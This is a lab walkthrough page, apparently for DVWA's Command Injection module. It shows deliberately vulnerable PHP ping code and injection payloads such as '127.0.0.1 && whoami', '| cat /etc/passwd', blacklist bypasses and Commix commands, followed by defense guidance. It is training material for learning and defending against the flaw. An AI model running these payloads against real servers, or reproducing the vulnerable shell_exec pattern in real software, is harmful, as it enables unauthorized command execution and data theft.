Skip to main content

Overview

Command Injection (also known as Remote Command Execution or RCE) is a critical security vulnerability that allows attackers to execute arbitrary operating system commands on the server running the application. In this attack scenario, the vulnerable application acts like a pseudo system shell, executing commands specified by the attacker with the same privileges and environment as the web service.

Impact

Successful command injection can allow attackers to:
  • Execute any command available to the web server user
  • Read, modify, or delete sensitive files
  • Install malware or backdoors
  • Pivot to other systems on the network
  • Completely compromise the server
  • Exfiltrate data from the system

Root Cause

Command injection attacks occur due to lack of proper input validation on data that gets passed to system command execution functions. User-controllable input from forms, cookies, HTTP headers, and other sources can be manipulated by attackers to inject additional commands.

Platform Differences

The syntax and available commands differ between operating systems:
  • Linux/Unix: Uses shells like bash, sh, zsh
  • Windows: Uses cmd.exe or PowerShell
Attackers must adapt their payloads based on the target OS.

Objective

Remotely find out:
  1. The username of the web service on the operating system
  2. The hostname of the machine
Both objectives should be accomplished via Remote Command Execution (RCE).

Security Levels

Vulnerability Analysis

The low security level has no input validation whatsoever. User input is passed directly to the shell_exec() PHP function, allowing complete command injection.

Vulnerable Code

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
    $cmd = shell_exec( 'ping  ' . $target );
}
else {
    // *nix
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
}

$html .= "<pre>{$cmd}</pre>";
```bash

**Key Vulnerability**: The `$target` variable is directly concatenated into a shell command with zero validation or sanitization.

#### Why It's Vulnerable

- No input validation or filtering
- Direct string concatenation into shell command
- Output is displayed directly to the user
- Uses `shell_exec()` which executes commands through the system shell
- Accepts input from `$_REQUEST` (GET, POST, or Cookie)

#### Command Chaining Operators

On Linux/Unix systems, you can chain commands using:

| Operator | Description | Example |
|----------|-------------|----------|
| `;` | Execute commands sequentially | `cmd1 ; cmd2` |
| `&&` | Execute second command only if first succeeds | `cmd1 && cmd2` |
| `||` | Execute second command only if first fails | `cmd1 || cmd2` |
| `|` | Pipe output of first command to second | `cmd1 | cmd2` |
| `` `cmd` `` | Command substitution | ``echo `whoami` `` |
| `$(cmd)` | Command substitution | `echo $(whoami)` |

On Windows:

| Operator | Description |
|----------|-------------|
| `&` | Execute both commands |
| `&&` | Execute second if first succeeds |
| `||` | Execute second if first fails |
| `|` | Pipe output |

#### Testing Approach

1. **Test basic injection**: Try `127.0.0.1 && whoami`
2. **Get username**: `127.0.0.1 && whoami`
3. **Get hostname**: `127.0.0.1 && hostname`
4. **List files**: `127.0.0.1 && ls -la`
5. **Read files**: `127.0.0.1 && cat /etc/passwd`

<Accordion title="Show Hint">
  You can add additional commands after the IP address. Think about how to chain commands in a shell.

  On Linux/Unix, what operator allows you to execute multiple commands in sequence?

  After pinging successfully, what command shows the current user?
</Accordion>

<Accordion title="Show Spoiler">
  **Example payload**: `127.0.0.1 && whoami`

  This works because:
  1. The `&&` operator executes the second command after the first succeeds
  2. `ping -c 4 127.0.0.1` completes successfully
  3. Then `whoami` is executed, showing the current user

  For the hostname:
127.0.0.1 && hostname

      You can also use other operators:
127.0.0.1 ; whoami # Sequential execution 127.0.0.1 | whoami # Pipe (may not work with ping) 127.0.0.1 whoami # Command substitution

      On Windows:
127.0.0.1 && whoami 127.0.0.1 & dir
    </Accordion>

  </Tab>

  <Tab title="Medium">
    ### Vulnerability Analysis

    The medium level implements a **blacklist filter** that attempts to block certain command chaining operators. However, the blacklist is incomplete and can be easily bypassed.

    #### Vulnerable Code

    ```php
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the characters in the array (blacklist)
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Execute the ping command
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
Key Vulnerability: The blacklist only filters && and ;, but there are many other command chaining operators available.

Why It’s Still Vulnerable

  • Blacklist approach is fundamentally flawed (you can’t block everything)
  • Only blocks TWO operators: && and ;
  • Doesn’t block: |, ||, `cmd`, $(cmd), & (on Windows)
  • Single-pass filter (doesn’t prevent double encoding)

Bypasses

Since the filter only removes && and ;, you can use:
  1. Pipe operator |:
       127.0.0.1 | whoami
  1. OR operator ||:
       invalid_ip || whoami
  1. Command substitution:
       127.0.0.1 `whoami`
       $(whoami)
  1. Backgrounding (Linux):
       127.0.0.1 & whoami
The developer blocked && and ;, but those aren’t the only ways to chain commands in a shell.Think about other operators. What about piping? What about backgrounding commands? What about command substitution?
Example payload: 127.0.0.1 | whoamiThe pipe operator | is not in the blacklist, so it passes through.Other working payloads:
      # Using OR operator (execute if first command fails)
      invalid_ip || whoami

      # Using background operator
      127.0.0.1 & whoami

      # Using command substitution
      127.0.0.1 `whoami`
      $(whoami).127.0.0.1

      # Using newline (if not filtered)
      127.0.0.1
whoami
The hint in the help file mentions “backgrounding the ping command”, referring to the & operator.

Testing Methodology

Manual Testing

  1. Test basic command chaining:
    127.0.0.1 && whoami
    127.0.0.1 ; id
    127.0.0.1 | cat /etc/passwd
    

2. **Test different operators**:
127.0.0.1 || whoami 127.0.0.1 & dir 127.0.0.1 whoami 127.0.0.1 $(whoami)

3. **Test with newlines**:
127.0.0.1 whoami

4. **Test command substitution**:
whoami.127.0.0.1 $(whoami).127.0.0.1

### Useful Commands

**Linux/Unix:**
```bash
whoami          # Current user
hostname        # Machine name
id              # User ID and groups
uname -a        # System information
ls -la          # List files
cat /etc/passwd # Read password file
pwd             # Current directory
ifconfig        # Network configuration
ps aux          # Running processes
Windows:
whoami          # Current user
hostname        # Machine name
ipconfig        # Network configuration
dir             # List files
type C:\file.txt # Read file
net user        # List users
systeminfo      # System information
```bash

### Automated Testing

Tools like **Commix** (Command Injection Exploiter) can automate testing:

```bash
# Basic scan
commix -u "http://target/exec/" --data="ip=127.0.0.1&Submit=Submit"

# Custom injection point
commix -u "http://target/exec/" --data="ip=INJECT_HERE&Submit=Submit"

Defense Strategies

Primary Defenses

  1. Avoid System Commands Entirely
    • Use native language features instead of shell commands
    • PHP has filter_var($ip, FILTER_VALIDATE_IP) for IP validation
    • Use libraries instead of system tools when possible
  2. Input Validation (Whitelist)
    // Only allow valid IP addresses
    if (filter_var($ip, FILTER_VALIDATE_IP)) {
        // Safe to use
    }
    
    // Only allow alphanumeric
    if (preg_match('/^[a-zA-Z0-9]+$/', $input)) {
        // Safe to use
    }
    

3. **Use Safe APIs**
   ```php
   // Instead of shell_exec("ping $ip")
   // Use built-in functions or safe wrappers
   
   // Use escapeshellarg() if you must use shell commands
   $safe_ip = escapeshellarg($ip);
   $cmd = shell_exec("ping -c 4 $safe_ip");

Additional Defenses

  1. Use escapeshellcmd() and escapeshellarg()
    $safe_cmd = escapeshellcmd($command);
    $safe_arg = escapeshellarg($argument);
    

5. **Principle of Least Privilege**
   - Run web server with minimal permissions
   - Use restricted shell environments
   - Disable dangerous PHP functions in php.ini

6. **Disable Dangerous Functions**
   ```ini
   disable_functions = exec,passthru,shell_exec,system,proc_open,popen

What Doesn’t Work

  • Blacklisting special characters: Too many bypasses
  • Filtering specific operators: New operators always exist
  • String replacement: Can be bypassed with encoding
  • Client-side validation: Easily bypassed

Resources

Build docs developers (and LLMs) love